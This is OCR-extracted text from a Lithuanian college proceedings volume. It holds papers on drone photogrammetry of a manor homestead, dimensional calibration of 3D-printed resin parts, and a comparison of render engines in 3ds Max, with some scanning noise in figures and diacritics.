2022), sickiant nustatyti objekto verte ir unikaluma. Zizitinas (2019) teigia, kad
kartografavimo darbams (apmatavimai, bréziniai, schemos, planai, pjiviai, teritorijy
ar objekty topografija, fotofiksacija, fotogrametrija, geodeziniai parametrai) atlikti yra
pasitelkiamos jvairios technologijos ir metodai, taciau, biitent 3D vaizdo technologijos
leidzia efektyviau (laiko ir finansy prasme tai efektyviausios technologijos),
neintervenciskai (nezalojant paveldo objekto) ir iSsamiai (milimetriniu masteliu
fiksuojant visg prieinama objekto materialigja formga, selektyviai neisskiriant, tuo
momentu, ,svarbesniy“ ar ,svarbiausiy“ elementy) vykdyti reikalingy dokumenty
ruosima. Tai leisty kelti kokybinius standartus ir taip uztikrinti patikima kultiiros
paveldo stebéseng ir i§saugojima* (Zizitinas, 2019).

Taigi, Siandieninis kultiros paveldo sisteminimas ir duomeny i$saugojimo
procesas turéty biati siejamas su 3D technologijomis, kurios turi pranasumy laiko,
duomeny tikslumo ir i§samumo pozidriais. Svarbu, kad gauti duomenys bity
sisteminami ir talpinami j kultdiros vertybiy registro duomeny baz¢ kartu su kitais
duomenimis.

Tyrimo metodika

Atliekant tyrimg pasirinktas tyrimo objektas — Geruciy arba Glebavos dvaro
sodyba (kultiiros paveldo objektas). Objektas yra Pakruojo rajono savivaldybéje,
Ziemelio senifinijoje, netoli Lietuvos ir Latvijos valstybinés sienos. Dvaro teritorijos
plotas — 15 ha, pastatai statyti XIX a. — XX a. pirmoje puséje, romantizmo stiliumi. Siuo
sodyba, nes pastaty stogai nesandaris, pradeda irti pastaty sienos ir pamatai. Pastatai
Siuo metu nenaudojami.

Atliekant tyrimg atliktas aerofotografavimo skridimas su bepilo€iu orlaiviu
DJI Phantom 4 RTK (Kauno kolegija), kameros modelis DIJ FC6310R (Zidinio
atstumas 8,8 mm). Skridimas atliktas 2024 m. kovo mén. 9 d. Oro salygos
patenkinamos: véjo greitis silpnas, apsiniauke¢. Dvaro teritorijoje yra dar sniego.
Skridimas vykdytas 80 m aukstyje. Skersiné nuotrauky sanklota — 75 proc., iSilginé —
60 proc. Surinktos 582 nuotraukos, skrendant dvigubo tinklelio (angl. double grid)
skrydzio rezimu. Dvigubo tinklelio rezimas naudojamas 3D modeliams Kurti, nes
galima pakeisti kameros posvyrio kampa, kuris turi biiti nuo 45° iki 80°.

Aerofotografavimo duomeny apdorojimas atliktas komercinémis SfM
(lietuviy kalba ,,struktiira i$ judesio®) apdorojimo programomis. Vertinama komerciné
programiné jranga yra ArcGIS Drone2Map (sukurta JAV Aplinkos sistemy tyrimy
institute — ESRI) ir Carlson PhotocCapiture (JAV). Lyginamasis vertinimas apima
kiekybinj tasky debesies iSvesties i§ kiekvienos programinés jrangos padéties tikslumo
jvertinima, taip pat kokybinis sugeneruoty taskiniy debesy, ortofotografiniy plany,
skaitmeninio pavir§iaus modelio (DSM) iSvaizdos jvertinimas. Jvertinami Kiekvienos
programinés jrangos gauty duomeny tikslumas ir laiko sanaudos.
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Tyrimo rezultatai ir jy aptarimas

Atliekant aerofotografavimg su bepilo¢iu orlaiviu RTK reZimu yra gauti Sie
rezultatai: 582 aerofotonuotraukos, kuriy skiriamoji geba 2,2 cm. Aerofotonuotrauky
didziausios paklaidos apdorojant duomenis yra skridimo objekto pakras¢iuose (1 pav.),
nes sujungiant aerofotonuotraukas j vieng masyva nepakanka duomeny, kokybiskam
rezultatui gauti.

Persidengianéiy vaizdy
skai¢ius

1 pav. Aerofotonuotrauky persidengimo (sankloty) schema

Nustatyta, kad kur yra maziau persidengianéiy aerofotonuotrauky, ten didesnés
paklaidos, kurios siekia: x — 19 cm, y — 13 cmir z— 11 cm.

Aerofotografavimo duomeny apdorojimas atliktas komercinémis SfM
apdorojimo programomis ArcGIS Drone2Map ir Carlson PhotoCapture. Tai daug laiko
uzimantis procesas ir priklauso nuo kompiuterio parametry ir projekto uzduoties
galutinio rezultato tikslumo. Sukuriant projektus buvo nustatyti patys auks¢iausi galimi
tikslumo parametrai.

1 lentelé. Kultiros paveldo objekto duomeny apdorojimo laiko sqnaudos

Fotogrametriné duomeny apdorojimo
Projekty duomeny apdorojimo programiné jranga
eiliSkumas ArcGIS
Carlson PhotoCapture Drone2Map
Tasky debesies sukiirimas 43 min 16 s 31 min 08 s
Skaltrpenlnlo aukscio modelio 1 h 08 min 36 42 min 31 s
sukiirimas
Ortofotografinio plano sukiirimas 26 min 03 s 19 min 195
3D pavirSiaus modelio 1h58min3ls 1h19min05s
generalizavimas
Viso: 4h15min26s 2h51min03s

Matyti (1 lentel¢), kad laiko sanaudos labai skiriasi. 33 proc. laiko sagnaudos
mazesnés apdorojant ArcGIS Drone2Map programine jranga. Tai jtakos turéjo tasky
debesies sukiirimas, nes Carlson PhotoCapture surinkta 28,8 min., o ArcGIS
Drone2Map surinkta 4,5 mln. tasky debesies elementy.
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Programiniy jrangy sugeneruoti ortofotografiniai planai LKS-94 koordinaciy
sistemoje (2 pav.):

- Carlson PhotoCapture — erdviné skiriamoji geba yra 2,1 cm;

- ArcGIS Drone2Map — erdviné skiriamoji geba yra 2,7 cm.

Skaitmeninis pavirSiaus modelis (DEM — angl. Digital elevation model) ir
tasky debesis padéjo sukurti objekty 3D pavirsiy (2 pav.). Abiejy programiniy jrangy
sukurto skaitmeninio pavir$iaus modelio skiriamoji geba yra iki 10 cm.

2 pav. Carlson PhotoCapture programinés jrangos apdoroti rezultatai: ortofotografinis
planas (kair¢je) ir skaitmeninis pavirSiaus modelis (deSinéje)

Sudarytas 3D pavir§iaus modelis pateikia tyriama objektsa dabartinéje jo
situacijoje, kurios pagrindu yra galimybé nagrinéti objekto esamg biisena, jvertinti
kulttiros paveldo architektrinius elementus bei jy paZeidimus (3 pav.).

3 pav. ArcGIS Drone2Map programinés jrangos sukurtas 3D vaizdo fragmentas
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Vertinat gautus rezultatus matyti, $iy programy pagrindinés darbo eigos yra
labai panaSios ir pilnai automatizuotos. Skiriasi apdorojimo laiko sgnaudos ir galutinio
rezultato vaizdumo savybés. 3D technologijy taikymas kultiiros paveldo objektams
kartografuoti reikia specialisty, kurie turéty fotogrametriniy ziniy: pradedant bepilo¢io
orlaivio skrydzio planavimu, skrydzio vykdymu, baigiant duomeny apdorojimo
programinés jrangos pasirinkimu ir gauto rezultato iSsamumu ir apibendrinimu.

ISvados

1. Kulturos paveldo 3D duomeny kartografavimui yra naudojami
fotogrametriniai metodai ir lazerinio skenavimo technologijos.

2. Aecrofotografavimo duomeny apdorojimas atliktas komercinémis
fotogrametrinémis programinémis jrangomis ArcGIS Drone2Map ir Carlson
PhotocCapture. Tikslesni ir vizualiai patrauklesni rezultatai gauti naudojant Carlson
PhotocCapture programing jrangg, nors laiko sgnaudos apdorojant duomenis buvo
33 proc. didesnés.

3. Sukurti dvaro teritorijos ortofortografiniai planai, erdvinis pavir§iaus
modelis ir pastaty trimatis vaizdas padeda aiskiau jvertinti esama kultiiros paveldo
situacijg, kuri suteikia galimybe atlikti neprizitirimy pastaty nusidévéjimo masta.
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Summary

For this article, after analysing available research and the application of 3D digital technologies
for collecting cultural heritage data, the photogrammetric method, which assists in identifying
unique features, capturing damage and evaluating uniqueness of an object was selected.
Conducting mapping of a specific cultural heritage object involved collecting data with an
unmanned aerial vehicle, and the obtained high spatial resolution aerial photographs were
processed using software such as ArcGIS Drone2Map and Carlson PhotoCapture, results of which
meet the requirements of accuracy and photogrammetric methods.
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Trimate grafika sukurty objekty panaudojimas

3D spausdintuvo kalibravimui

Vygintas Minkus, Renata Gudaitiené
Kauno kolegija

Anotacija. Trimaciai (3D) grafiniai elementai yra pla¢iai naudojami daugelyje
sriéiy, tokiy kaip, pramong¢je, architektiiroje, medicinoje, dizaino ir reklamos tikslais
ir kt. Siame straipsnyje aptariami 3D spausdintuvu gaminamy modeliy i§ TGM7-GREY
sintetinés polimerinés dervos matmeny poky¢iai ir kompensavimo mechanizmas. Siy
poky¢iy nustatymas yra svarbus jrangos kalibravimo procesui, kad siekiant numatyti ir
pagerinti bisimy gaminiy kokybe. Eksperimenty metu nustatyta, kad apatinéje figliry
dalyje pastebétas reikSmingesnis matmeny pokytis, kuris galéjo atsirasti dél naudotos
medziagos susédimo spaudos proceso metu.

Raktiniai Zodziai: Trimaté grafika, 3D spausdinimas, 3D spausdinimo derva,
kalibravimas.

Ivadas
Prie§ trimatés grafikos programinés jrangos atsiradima, buvo naudojama
dvimaté kompiuteriné arba ranka pieSta grafika. Taciau, atsiradus programoms,
gebancioms modeliuoti trimacius objektus, trimaté (3D) kompiuteriné grafika greitai ir
plagiai i3plito. Siomis dienomis, 3D modeliavimas ir vizualizacijos yra pla¢iai
naudojami Siose srityse: internetinéje rinkodaroje, architektiiroje, industriniame dizaine,
medicinoje, reklamoje ir animacijoje, virtualiai realybei ir zaidimams kurti, inzinerijoje
(Vaira, Linkuviené, 2013).
3D modeliai internetinéje rinkodaroje pakei¢ia realius objektus ir nuotraukas,
nes neretai pildant internetinés parduotuvés asortimentg pritriiksta geros kokybés prekiy
fotografijy, ir $iuo atveju, administratoriui uztenka turéti 3D modelj. Taip pat architektai
jau gera deSimtmetj naudojasi 3D maketais perteikti tikroviskus pastato vaizdus, kuriy
bréziniy jiems nebereikia perteikti dvimaciame vaizde ant popieriaus lapo. 3D modeliai
daznai yra kuriami siekiant sutaupyti jvairiy medziagy ir numatyti galimas dizaino ar
konstrukcijos problemas. 3D spausdinimas suteikia galimybe kurti ir gaminti sudétingas
geometrines figliras, kurios gali biiti nuolat redaguojamos, nes joms pagaminti nereikia
jokios papildomos liejimo formos ir dizaino id¢jos yra jgyvendinamos skaitmeniniy
priemoniy pagalba (Macdonald, Wicker, 2016). Spausdinti 3D modeliai sékmingai
naudojami medicinoje jvairiy makety ar protezy gamybai. Ypa¢ placiai 3D
spausdinimas taikomas odontologijoje, kur atliekant danty protezavimg gali buti
taikomi skirtingi sprendimai ir spaudos biidai (Dawood ir kt., 2015), taip pat ir kaip
mokomoji priemoné. Naudojant skirtingas dervas, galima kurti ne tik dekoro ar
medicinos priemones, bet ir bizuterijos ar buitiniy reikmiy gaminius. Taigi, kaip galima
matyti, 3D modeliavimas ir spauda yra labai placiai naudojami ir atlieka svarbig uzduotj
ne tik industrijos, bet ir Svietimo srityje (Vaira, Linkuvien¢, 2013). Siekiant uztikrinti
kokybiska gaminiy spausdinima, svarbu, kad sumodeliuoty objekty matmenys atitikty
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daikty matmenis po spaudos. Tam tikslui yra atliekamas kalibravimo figtry
spausdinimas ir jy matmeny vertinimas (Ameralabs, n.d.).

Tyrimp problema — po 3D figtiry spaudos gaunamas matmeny neatitikimas
lyginant su sumodeliuotais objektais.

Tyrimo tikslas — nustatyti kaip keiciasi objekto matmenys ji spausdinant
skirtingais kampais, naudojant TGM7-GREY derva.

Tyrimo objektas. Figiiros matmeny pasikeitimas spausdinant skirtingais
kampais, naudojant TGM7-GREY derva.

Tyrimo uZdaviniai:

1. Istirti ir nustatyti trimate grafika sukurty ir 3D spauda spausdinamy objekty
problemines sritis.

2. Atlikti bandiniy modeliavima ir spausdinimg.

3. Istirti atspausdinty kalibravimo detaliy pokycius ir iSanalizuoti gautus
matavimy rezultatus.

Tyrimo metodai: mokslinés literatiros analizé, duomeny rinkimo metodas —
testavimas.

Tyrimui naudotos medZiagos ir jranga

Siame darbe tyrimams buvo naudota nauja ,,AmeralLabs“ TGM7-GREY derva.
Meéginiai buvo modeliuojami naudojant ,,Autodesk Fusion 360 programing jranga.
Visi méginiai buvo atspausdinti naudojant DLP spausdintuvag, kurio S$viesos
intensyvumas yra 2,62 mW-cm-2, 0 maksimalus UV spektras buvo 406,3 nm
(ekspozicija nustatyta 1,8 s). Po spausdinimo méginiai buvo nuplauti ir papildomai
sukietinti UV krosneléje.

Tyrimo pagrindimas

Kuriant naujo tipo derva, kuri naudojama jvairiy gaminiy trimatei spaudai, jos
takumo ir polimerizacijos parametrai (kietéjimo greitis, struktiiriniai pokyciai),
naudojant skirtingas sudedamyjy komponenciy (medziagy) dalis, gali kisti. To pasekoje
trimatés (3D) spaudos metu spausdinamuose objektuose gali atsirasti matmeny pokytis,
kaip pavyzdziui plocio, auks¢io ir ilgio matmeny sumazéjimas, kampy netikslumas ir
skyliy diametro pasikeitimas. 3D spausdinimas turi apribojimus siekiant tiksliy objekty
matmeny. Jame triksta nuoseklumo spausdinant produktus, kurie atitikty priimtinas
matmeny ir geometrines ribas bei reikalavimus keliamoms savybéms (Gaikwad ir kt.
2022). Siekiant gauti teisingy matmeny detal¢ svarbus yra matmeny kompensavimo
mechanizmas ir galimy poky¢iy numatymas, todél su kiekvienu nauju produktu butina
atlikti bandomuosius spausdinimus ir véliau spausdinamuose modeliuose atlikti
iSankstines matmeny korekcijas. 3D spausdinimo technologijos, tokios kaip medziagos
#sspausdinimas (angl. Fusion deposition modeling (FDM)) ir maskuota stereolitografija
(angl. Masked Stereolithography (MSLA)) yra naudojamos polimerinéms medziagoms,
skirtoms kurti ar gaminti jvairias sudétines formas. Norint iSgauti tiksliausius matmenis
sumodeliuotiems objektams, spausdintas dalis reikia iSmatuoti ir apzitréti, siekiant
jvertinti pavirSiy kokybe (Gaikwad ir kt., 2022). Tokiu biidu yra atliekamas ir paties
jrenginio kalibravimo prosesas esant tam tikriems spaudos greicio, drégmeés ir
temperaturos parametrams.
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Eksperimento rezultatai ir aptarimas

Tyrimas buvo pradétas nuo 3D figiry modeliavimo. Sis procesas buvo
atliekamas naudojant ,,Autodesk Fusion 360 programa. Sukurtas 30 mm (milimetry)
dydzio kubas, kurio centre buvo iSpjauta 30 mm ilgio ir 20 mm diametro skylé.
Sumodeliavus kubg, jis buvo perkeltas j virtualaus pjaustymo (angl. slicer) programa
,CHITUBOX?*, kad paruostas spausdinimui. Tam tikslui kubg reikéjo iSsaugoti (angl.
export) kaip ,,.stl“ formato failg. Tyrimui buvo spausdinamas tas pats kubas trimis
skirtingais kampais (skylés atzvilgiu), siekiant i§siai$kinti matmeny pokytj po susédimo
ir polimerizuotos dervos relaksacijos. Figliroms neturin¢ioms sarysio su platforma buvo
sudétos atramos, matomos 1 pav.

1 pav. Kubai (1, 2, 3) ,,CHITUBOX* programos aplinkoje paruosti spausdinimui

Atspausdinus tris figiiras, jos buvo nuplautos ir jdétos j prietaisg deSiméiai
minuciy papildomam bandiniy medZziagos sukietinimui. Po to visos §iy figiiry briaunos
buvo i§matuotos ir rezultatai suvesti j ,,Microsoft Excel* programg palyginimui.

Al AD 8 (D As B G D4 sb  ad b § AL 8 & A Bb ad @ ed

A8 o« & od ab

TR EF] [TEN ¥

a) b)

2 pav. Figliry matmeny pagal kra$tines palyginimas (vertikali asis — ilgis mm;
horizontali — krastiniy pavadinimai): a) 1 ir 2 figiiry; b) 2 ir 3 figary

ISanalizavus ir palyginus gautus matavimy rezultatus matomi figiiry krastiniy
netolygumai (2 pav.). Remiantis gautais rezultatais, galima teigti, kad pirmos ir trecios
figiiry vertikalios briaunos yra trumpesnés nei 30 mm, nes spausdinant objekta ploksciai
ant platformos, vyksta susédimas, dél kurio keiciasi figliros parametrai. Taip pat i§ gauty
rezultaty galima matyti, kad vienos briaunos yra iSsiplétusios, o prieSingose pusése
briaunos yra susitraukusios. Norint iSvengti medziagos susédimo, yra naudojama
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kompensacija sumodeliuotam objektui. Si kompensacija, priklausomai nuo objekto
spaudos kampo ir krastiniy padéties buvo nuo 0,51 iki 0,98 procento.

ISvados

1. Siame darbe buvo istirtos ir aptartos 3D technologijy pagalba gaunamy
modeliy problemings sritys.

2. Trimaciy objekty suktrimui buvo panaudota ,,Autodesk Fusion 360
programa ir atspausdinus trimaciu spausdintuvu objektus i§ dervos buvo jvertinti jy
parametry pokyciai.

3. Matavimy rezultatai parodé, kad dél polimerinés dervos susédimo figiiry
realus aukstis sumazéjo, o apatinés dalies plotis buvo kiek didesnis nei virSutinés. 45
laipsniy pasuktame bandinyje taip pat buvo stebétas nezymus apatiniy plokStumy
iSplatéjimas. Vidutiniskai matmeny pokytis svyramo tarp 0,5 ir 1 procento.
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Summary

The three-dimensional (3D) graphic elements are widely used in many fields such as industry,
architecture, medicine, design and advertising, etc. In this paper, dimensional changes and the
compensation mechanism of models produced by a 3D printer from TGM7-GREY resin were
examined. Identification of such changes is important for the equipment calibration process in
order to predict and improve the quality of future products. During the research, it was found that
a more significant change in dimensions was observed in the lower part of the figures, which
could have occurred due to the deposition of the polymer.

Keywords: three-dimensional graphic, 3D printing resin, 3D printing, calibration.
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Vizualizacijos varikliy Kiekybinis ir kokybinis tyrimas

bei taikymas kuriant 3D scenas

Ingrida Vaitkuté, Renata Gudaitiené
Kauno kolegija

Anotacija. ,,Autodesk 3dsMax“ programa yra viena i§ labiausiai populiariy
trimatés grafikos programy, suderinama su jvairiais vizualizacijos varikliais.
Kiekvienas vizualizacijos variklis turi savo tekstary bibliotekas ir Siek tiek skirtinga
$viesos ir medziagy interpretacijos mechanizma, todél §io darbo tikslas buvo istirti
vizualizacijos varikliy naudojimo populiaruma ir palyginti vizualizacijos varikliy
vaizdo eksportavimo galimybes. Palyginamasis kokybinis tyrimas atliktas pasirinkus
atitinkamus $viesos parametry ir nustatymus ir medziagy atitikmenis. Siekiant pasirinkti
vizualizacijos varikliy tipus ir iSsiaiSkinti jy populiarumag prie$ tai buvo atlikta
respondenty, besinaudojanéiy ,,Autodesk 3dsMax‘ programine jranga, apklausa.

Raktiniai ZodZiai: trimaté grafika, vizualizacija, vizualizacijos variklis,
Autodesk 3dsMax, 3D modeliavimas.

Ivadas

Vystantis informacinéms technologijoms, 3D grafika tampa neatskiriama
dizaino, architektiiros, reklamos ir animacijos proceso dalimi, teikdama galimybe kurti
jspudingas realistiSkas vizualizacijas, Kiekvienas vaizdo generavimo variklis yra
naudojamas skirtinguose srityse, anot (Survilaité, E., 2021) ,,V-ray* yra naudojamas
dazniausiai architektiiros vizualizacijoms, bet §is vizualizacijos variklis yra naudojamas
ir kitoms sritims, tokioms, kaip reklamy, filmy, dizaino ktirimui. Dél to ,,V-ray* gars¢ja
savo lankstumu. Remiantis (Autodesk, n.d.), ,,Arnold* dazniausiai naudojamas filmy,
televizijos, zaidimy scenoms atvaizduoti. ,,Corona render naudojamas dazniausiai, taip
pat archtektiiros vizualizavimui, kaip ir ,V-ray®“, tafiau ,,Corona render yra
paprastesnis vizualizacijos variklis, remiantis (Viestautas, R., J., 2019) ,,Corona render*
turi ,,vieng kokybiskiausiy apsvietimy tarp visy panasiy tokio tipo programy. Norint
kokybiskai ap$viesti aplinka nereikia didelio kiekio nustatymy, kadangi programoje Sie
nustatymai jau yra paruos$ti“. Taigi, Sie vizualiazcijos varikliai naudojami skirtingais
tikslais, taciau su kiekvieno pagalba, naudojant trimat¢ programa, galima sukurti filma,
pastato vizualizacija, dizaing ar zaidima. Tik su vienu vizualizacijos varikliu tam tikra
projakta bus lengviau sukurti, o su kitu sunkiau. Anot autoriy (Zakrio D. ir Gudaitienés
R., 2019), , trimatés vizualizacijos varikliai yra labai svarbios priemonés, be kurios
negaléty buti kokybiskai ir realistiSkai sugeneruotas joks trimatis vaizdas “. Siekiant
gauti kokybiskg rezultatg, biitina pasirinkti tinkamg vaizdo generavimo variklj, kuris
atitikty projektui keliamus reikalavimus ir kiiréjo lukescius.

Siame darbe nagrinéjami trys populiariausi ,,Autodesk 3dsMax* programai
pritaikyti vizualizacijos varikliai ,,Arnold“, ,,Corona Render®, ,V-ray“. Pasak
(Steponavicius, M. 2021) ,,V-ray* yra ,,galingas fotorealistisko atvaizdavimo variklis
paremtas procesoriaus ir vaizdo plokstés na§umu. ,, Tai reiskia, kad ,, V-ray “ efektyviai
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panaudoja tiek procesoriaus, tiek vaizdo plokstés galimybes, sickdamas uztikrinti greita
ir kokybiska atvaizdavimg. ,,Corona render* pasiZymi savo paprastumu, o ,,Arnold* yra
integruotas i§ karto j ,,Autodesk 3ds Max*, tai labai patogu. Sie vizualizacijos varikliai
naudojami reklamy, filmy, zaidimy, namy dizainui, architekttros karimui, jie suteikia
realistiska vaizda kuriuo galima atkartoti, net smulkiausias detales. Siame darbe bus
atliekama respondenty apklausa, apie vizualizacijos varikliy naudojima. Taip pat bus
tyringjami vaizdo generavimo varikliy apSvietimas ir teksttros, kad galima biity
palyginti ir nusprestj kurj vizualizacijos variklj geriausia bty pasirinkti, kad pateisinty
iSsikeltus lakescius.

Darbo tikslas — atlikti kiekybinj ir kokybinj vizualizacijos varikliy naudojimo
ir taikymo tyrimg ir pritaikyti originaliy vizualizacijy kiirimui.

Darbo uZdaviniai:

1. ISanalizuoti, keleta pagrindiniy ,,Autodesk 3DsMax‘ naudojamy vizualizacijos
varikliy ir iSskirti pagrindinius aspektus aukstos kokybés vizualizacijoms kurti.

2. Istirti vizualizacijos varikliy naudojimo populiaruma (pagal amziy, lytj ir
naudojimo paskirtj).

3. Sukurti originalias trimates vizualizacijas ir iStirti jy vaizdy kokybe
priklausomai nuo panaudoto vizualizacijos variklio tipo.

Tyrimo metodika

Siame darbe buvo naudojamas statistinis tyrimo metodas. Sukirus anketa,
buvo atlikta respondenty apklausa, siekiant isiaiskinti skirtingy vizualizacijos varikliy
naudojimo populiarumg. Siekiant istirti skirtingais vizualizacijos varikliais
generuojamy vaizdy kokybe, buvo atliktas praktinis-eksperimentinis tyrimas, pasitelkus
IT technologijas.

Pagrindiniy trimatés grafikos vizualizacijos varikliy analizé

Vizualizacijos variklis ,,Arnold“

,»Arnold“ yra vienas i§ standartinés jrangos pakety, prieinamas kaip
standartinis jskiepis ,,Autodesk 3dsMax“ programinéje jrangoje. Tai reiSkia, kad be
papildomy jrasymy, ,,Arnold“ yra integruotas j paéig programg. Tai sutaupo laiko ir
pinigy. Tadiau $is vizualizacijos variklis turi tam tikry apribojimy, todél norint gauti
geresnj vizualizacijos vaizdg gali tekti investuoti papildomy pinigy. Pagal Pradeep M.
(2019), , pagrindiné Arnold vizualizacijos variklio funkcija yra pritaikomumas
animacijai ir vizualiniy efekty realistiSkam karimui “. Tai reiSkia, kad ,,Arnold* siekia
buti efektyviu ir aukstos kokybés vaizdo generavimo jrankiu, bet ir integruoti jvairias
funkcijas, kurios buty naudingos kiiréjams ir dizaineriams, kuriant animacijas,
vizualizacijas ar kitus projektus.

Sis jskiepis yra pazangi atvaizdavimo priemoné, kuri pateikia fotorealius arba
stilizuotus modeliavimo rezultatus, taip pat ,,Arnold* vizualizacijos variklis lengvai
apdoroja sudétingus darbus. Pasak Serdar H. D. (2022), ,,Arnold* vizualizacijos variklis
yra optimizuotas jskiepis, veikiantis kaip bazinis variklis, fizikos désniy pagrindu. Tai
reiSkia, kad jis naudoja pazangius algoritmus, kurie sukuria orginalius ir natiiralius
vaizdus, pasitelkiant realaus pasaulio fizikinius principus.
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Vizualizacijos variklis ,,Corona Render*

,Corona Render yra vienas i§ populiariy vaizdo generavimo varikliy, kurj
naudoja tiek pradedantieji, tiek profesionalai trimatés grafikos srityje. Anot (Peddie, J.,
2019) pagrindinis ,,Arnold“ variklio tikslas yra pateikti aisky sprendima, kad $is
vizualizacijos variklis tapty pagrindiniu siekiant atvaizduoti trimates scenas ir
animacijas. ,,Corona Render* yra fotorealistinio atvaizdavimo jrenginys, galintis dirbti
pagal automatinius ir personalizuotus nustatymus. Tai reikia, kad Sis variklis turi
galimybe generuoti labai tikroviskus vaizdus, naudojant salyginius ir nesalyginius
sprendimus vizualizacijos procese.

Sis vizualizacijos variklis i3siskiria keliais savo bruozais, tai yra paprastumas,
stengiamasi padaryti patogy ir paprasta naudojimg, stengiamasi sukurti aukS¢iausios
kokybés vizualizacijas. Pasak (Lee L., 2018), ,,Corona Render “ naudoja ,, path thacing*
(glotninimg), bet palaiko ,.reality hacks“ (realistinius defektus, jtrikimus), kad pakeisty
PBR funkcijas ir padaryty vizualizacijos variklj efektyvesnj“. Tai reiskia, kad nors ir
pagrindinis atvaizdavimo algoritmas yra ,,Path tracing®, taciau vartotojai gali taikyti
patobulinimus, kurie leidzia pakeisti ,,PBR* funkcijas ir pagerinti atvaizdavimo variklio
sistema. taip pat ,,Corona Render* yra greitas ir efektyvus, turi didelj tekstiiry asortiments.
Dar vienas geras bruoZas §io vizualizacijos variklio, kad yra pritaikytas ne vien ,,3dsMax*
programinei jrangai taciau galima integruoti ir j kitas, kaip ,,Cinema 4D*.

Vizualizacijos variklis ,,V-ray“

,»V-ray”“ galima sakyti yra vienas i§ garsiausiy ir populiariausiy vaizdo
generavimo varikliy. Sis vizualizacijos variklis pasizymi auki¢iausios kokybés
atvaizdavimu, jis naudoja pazangiausias Sviesos skleidimo technologijas, kad sukurty
natiiralius vaizdus. Pasak Markus K. (2010) ,,V-ray* yra nepriklausomas nuo platformos
ir prieinamas daugeliui trimatés grafikos programy. Tai reiskia, kad ,,V-ray* gali biiti
naudojamas ne tik su ,,Autodesk 3dsMax®, bet ir su kitomis 3D dizaino programomis,
tai suteikia galimybe kiiréjams pasirinkti jiems patogig programg. Taip pat, tai padeda
plésti Sio variklio naudojimo galimybes ir jvairinti kiirybinius projektus, kad biity
pasiekti norimi rezultatai.

,,V-ray“ turi daugybe¢ funkcijy, kurios leidZia vartotojams sukurti jvairiausius
projektus, taip pat pasizymi greitu ir efektyviu eksportavimu. Sis vizualizacijos variklis
turi ne vien platy tekstliry asortimenta, taciau ir jau pilnai sukurty modeliy biblioteka,
kas labai palengvina darba, dar reikéty pabrézti tekstiry kokybe, kuri be papildomy
pastangy atitinka realias medziagas. Taip pat vaizdo generavimo variklis ,,V-ray*,
leidzia naudoti jvairius §viesos $altinius, kurie lemia vaizdo kokybe. Pasak Markus K.
(2010) ,, V-rayLights (V-ray Sviesoms) reikia trumpesnio atvaizdavimo laiko, variklis,
kaip standartg, turi integruotg Sviesos kritima ir visada sukuria tikroviskai atrodantj
Sesélj“. Apibendrinat, ,,V-ray” yra galingas ir universalus jrankis, kuris palengvina
vartotojams darbg kuriant jsptidingus, originalius ir profesionalius trimacius objektus ar
projektus. Sio variklio pazangios funkcijos jj daro populiariu tarp vartotojy: tiek
pradedanciyjy, tiek profesionaliy.

Visi pateikti vizualizacijos varikliai yra naudojami ir populiaris ir gerai
suderinami su ,,Autodesk 3dsMax“ programine jranga. Kiekvienas i§ §iy vaizdo
generavimo varikliy, turi savo unikalius privalumus ir funkcijas, leidziancias kiiréjams
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kurti jvairius projektus. Taip pat kiekvienas variklis turi savo i$skirtines savybes. Taciau
trimatés vizualizacijos srityje yra kelios savybés, kurios lemia auks$tos kokybés
projekta — tai apSvietimas, ir teksttiros.

Apklausos ,,Using ,,3dsMax* renders“ analizé
Sukiirus apklausa, apie trimatés grafikos vaizdo generavimo variklius, buvo
i$siaiskinta, kokio amziaus Zmonés naudoja kokius vizualizacijos variklius (1 pav.)

© @ @ coronarender @ @ @ V-ray @ Arnold
1 pav. Vizualizacijos varikliy naudojimas pagal amziy

Sioje 1 pav. pateiktoje diagramoje galime matyti, kad nuo amZiaus priklauso,
koks vizualizacijos variklis bus naudojamas, nes didéjant amziui, didéja ir patirtis. Taigi
19-25 mety Zmonés pagrinde naudoja ,,Arnold renderer vizualizacijos variklj, nes jis
yra integruotas pacioje programoje ir lengvai prieinamas be papildomy investicijy. Nuo
26-35 mety amziaus zmonés naudoja ,,V-ray renderer* ir nuo 36—45 mety amziaus
zmonés, taip pat daugiausiai naudoja ,,V-ray renderer”. Taip pat buvo iSsiaiskinta
kokiose srityse dazniausiai yra naudojami atitinkami vizualizacijos valikliai (2 pav.)

19-25
3,0%
19-25
3.0%

19-25

37,0%

36-45
13,0%

studioms @ @ @ Darbui @ Laisvalaikiui

2 pav. Naudojamy vizualizacijos varikliy pasiskirstymas pagal sritis
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IS visy apklausty respondenty, buvo issiaiskinta, kuris trimatés grafikos vaizdo
generavimo variklis naudojamas daugiausiai (3 pav.). Taigi daugiausiai naudojamas
vizualizacijos variklis buvo ,,V-ray®, taiau reikéty paminéti, kad ,,Corona Render*
naudojasi irgi nemazai zmoniy, o ,,Arnold* pagrinde naudojamas studentu.

"Arnold renderer’’

ray"

"Corona renderer”

3 pav. Apklausos diagrama, kuri nurodo
daugiausiai naudojama vizualizacijos variklj

Sis tyrimas leido atskleisti vizualizacijos varikliy naudojimo daznumg ir svarba
tarp skirtingy respondenty grupiy, kuriant vizualizacijas. Siekiant i$siaiskinti, kodél
vyresnieji respondentai dazniausiai rinkosi atitinkamus vizualizacijos variklius, buvo
atliktas kokybinis vaizdy tyrimas, priklausomai nuo atitinkamy apsvietimo ir tekstiiry
parametry pasirinkimo.

Trimaciy vaizdy kokybiné analizé

Siekiant atlikti vaizdo kokybés tyrima, pradzioje buvo sumodeliuota reikiamo
atvaizduoti kambario aplinka ir priskirtos atitinkamos tekstiiros. Sviesos atvaizdavimo
tyrimo metu buvo atliktas ,,Autodesk 3DsMax“ programa vaizdo generavimas su
skirtingais trimatés vizualizacijos varikliais, tokiais kaip: ,,Arnold®, ,,Corona Render*
ir ,,V-ray*“. Pirmiausiai buvo atlikta kambario vizualizacija su skirtingais vizualizacijos
varikliy §viesos $altiniais (4 pav.). Tam tikslui buvo panaudoti §viesos $altiniai, tokie
kaip: ,,V-raySun®, ,,CoronaSun® ir ,,ArnoldLight* — ,,Skydome*.
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4 pav. Sviesos vizualizacija, generuojant su skirtingais vaizdo vizualizacijos varikliais
ir vaizdo generavimo $viesos $altiniais kuriy kordinatés yra
(X: 10,50 laipsniy, Z: 6,50 laipsniy):
a) ,,Corona render (intensyvumas — 1, temperatiira 6000 K );
b) ,,V-ray“ (intensyvumas — 0,3, temperattra 6000 K);
€) ,Arnold“ (intensyvumas — 10, temperatiira 6000 K);
d) ,,Arnold“ (intensyvumas — 10, temperatiira 6000 K, griiddétumas 25)

